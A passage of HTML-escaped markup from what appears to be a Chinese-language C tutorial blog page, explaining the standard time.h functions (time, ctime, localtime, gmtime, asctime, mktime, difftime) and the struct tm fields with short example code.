class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etm\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_sec; \u003cspan class=\"comment\"\u003e// 秒数 [0, 60]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_min; \u003cspan class=\"comment\"\u003e// 分钟 [0, 59]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_hour; \u003cspan class=\"comment\"\u003e// 小时 [0, 23]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_mday; \u003cspan class=\"comment\"\u003e// 月份的天数 [1, 31]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_mon; \u003cspan class=\"comment\"\u003e// 月份 [0, 11],一月用 0 表示\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_year; \u003cspan class=\"comment\"\u003e// 距离 1900 的年数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_wday; \u003cspan class=\"comment\"\u003e// 星期几 [0, 6],星期天用 0 表示\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_yday; \u003cspan class=\"comment\"\u003e// 距离1月1日的天数 [0, 365]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tm_isdst; \u003cspan class=\"comment\"\u003e// 是否采用夏令时,1 表示采用,0 表示未采用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"time\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#time\" class=\"headerlink\" title=\"time()\"\u003e\u003c/a\u003etime()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etime()\u003c/code\u003e函数返回从时间纪元到现在经过的秒数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003etime\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e* returned_value)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etime()\u003c/code\u003e接受一个 time_t 指针作为参数,返回值会写入指针地址。参数可以是空指针 NULL。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etime()\u003c/code\u003e的返回值是 time_t 类型的当前时间。 如果计算机无法提供当前的秒数,或者返回值太大,无法用\u003ccode\u003etime_t\u003c/code\u003e类型表示,\u003ccode\u003etime()\u003c/code\u003e函数就返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e now;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enow = time(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etime(\u0026amp;now);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例展示了将当前时间存入变量\u003ccode\u003enow\u003c/code\u003e的两种写法。\u003c/p\u003e\u003cp\u003e如果要知道某个操作耗费的精确时间,需要调用两次\u003ccode\u003etime()\u003c/code\u003e,再将两次的返回值相减。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e begin = time(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// ... 执行某些操作\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e end = time(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, end - begin);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,上面的方法只能精确到秒。\u003c/p\u003e\u003ch3 id=\"ctime\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ctime\" class=\"headerlink\" title=\"ctime()\"\u003e\u003c/a\u003ectime()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ectime()\u003c/code\u003e用来将 time_t 类型的值直接输出为人类可读的格式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ectime\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e * time_value )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ectime()\u003c/code\u003e的参数是一个 time_t 指针,返回一个字符串指针。该字符串的格式类似“Sun Jul 4 04:02:48 1976\\n\\0”,尾部包含换行符和字符串终止标志。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e now; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enow = time(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Sun Feb 28 18:47:25 2021\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, ctime(\u0026amp;now));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003ectime()\u003c/code\u003e会在字符串尾部自动添加换行符。\u003c/p\u003e\u003ch3 id=\"localtime-,gmtime\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#localtime-%EF%BC%8Cgmtime\" class=\"headerlink\" title=\"localtime(),gmtime()\"\u003e\u003c/a\u003elocaltime(),gmtime()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003elocaltime()\u003c/code\u003e函数用来将 time_t 类型的时间,转换为当前时区的 struct tm 结构。\u003c/p\u003e\u003cp\u003e\u003ccode\u003egmtime()\u003c/code\u003e函数用来将 time_t 类型的时间,转换为 UTC 时间的 struct tm 结构。\u003c/p\u003e\u003cp\u003e它们的区别就是返回值,前者是本地时间,后者是 UTC 时间。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e tm* \u003cspan class=\"title function_\"\u003elocaltime\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e* timer)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e tm* \u003cspan class=\"title function_\"\u003egmtime\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e* timer)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e now = time(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Local: Sun Feb 28 20:15:27 2021\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Local: %s\u0026#34;\u003c/span\u003e, asctime(localtime(\u0026amp;now)));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 UTC : Mon Mar 1 04:15:27 2021\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;UTC : %s\u0026#34;\u003c/span\u003e, asctime(gmtime(\u0026amp;now)));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"asctime\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#asctime\" class=\"headerlink\" title=\"asctime()\"\u003e\u003c/a\u003easctime()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003easctime()\u003c/code\u003e函数用来将 struct tm 结构,直接输出为人类可读的格式。该函数会自动在输出的尾部添加换行符。\u003c/p\u003e\u003cp\u003e用法示例参考上一小节。\u003c/p\u003e\u003ch3 id=\"mktime\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#mktime\" class=\"headerlink\" title=\"mktime()\"\u003e\u003c/a\u003emktime()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003emktime()\u003c/code\u003e函数用于把一个 struct tm 结构转换为 time_t 值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003emktime\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e tm* tm_ptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003emktime()\u003c/code\u003e的参数是一个 struct tm 指针。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emktime()\u003c/code\u003e会自动设置 struct tm 结构里面的\u003ccode\u003etm_wday\u003c/code\u003e属性和\u003ccode\u003etm_yday\u003c/code\u003e属性,开发者自己不必填写这两个属性。所以,这个函数常用来获得指定时间是星期几(\u003ccode\u003etm_wday\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003estruct tm 结构的\u003ccode\u003etm_isdst\u003c/code\u003e属性也可以设为\u003ccode\u003e-1\u003c/code\u003e,让\u003ccode\u003emktime()\u003c/code\u003e决定是否应该采用夏令时。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etm\u003c/span\u003e \u003cspan class=\"title\"\u003esome_time\u003c/span\u003e =\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_year=\u003cspan class=\"number\"\u003e82\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 距离 1900 的年数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_mon=\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 月份 [0, 11]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_mday=\u003cspan class=\"number\"\u003e12\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 天数 [1, 31]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_hour=\u003cspan class=\"number\"\u003e12\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 小时 [0, 23]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_min=\u003cspan class=\"number\"\u003e00\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 分钟 [0, 59]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_sec=\u003cspan class=\"number\"\u003e04\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 秒数 [0, 60]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .tm_isdst=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u003cspan class=\"comment\"\u003e// 夏令时\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003etime_t\u003c/span\u003e some_time_epoch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esome_time_epoch = mktime(\u0026amp;some_time);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Mon Apr 12 12:00:04 1982\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, ctime(\u0026amp;some_time_epoch));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Is DST: 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Is DST: %d\\n\u0026#34;\u003c/span\u003e, some_time.tm_isdst);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"difftime\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#difftime\" class=\"headerlink\" title=\"difftime()\"\u003e\u003c/a\u003edifftime()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003edifftime()\u003c/code\u003e用来计算两个时间之间的差异。Unix 系统上,直接相减两个 time_t 值,就可以得到相差的秒数,但是为了程序的可移植性,最好还是使用这个函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003edifftime\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e time1, \u003cspan class=\"type\"\u003etime_t\u003c/span\u003e time2 )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003edifftime()\u003c/code\u003e函数接受两个 time_t 类型的时间作为参数,计算 time1 - time2 的差,并把结果转换为秒。\u003c/p\u003e\u003cp\u003e注意它的返回值是 double 类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan 